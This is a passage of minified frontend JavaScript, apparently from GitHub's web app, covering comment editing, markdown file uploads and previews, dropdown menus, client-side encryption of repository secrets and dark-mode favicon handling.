Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return 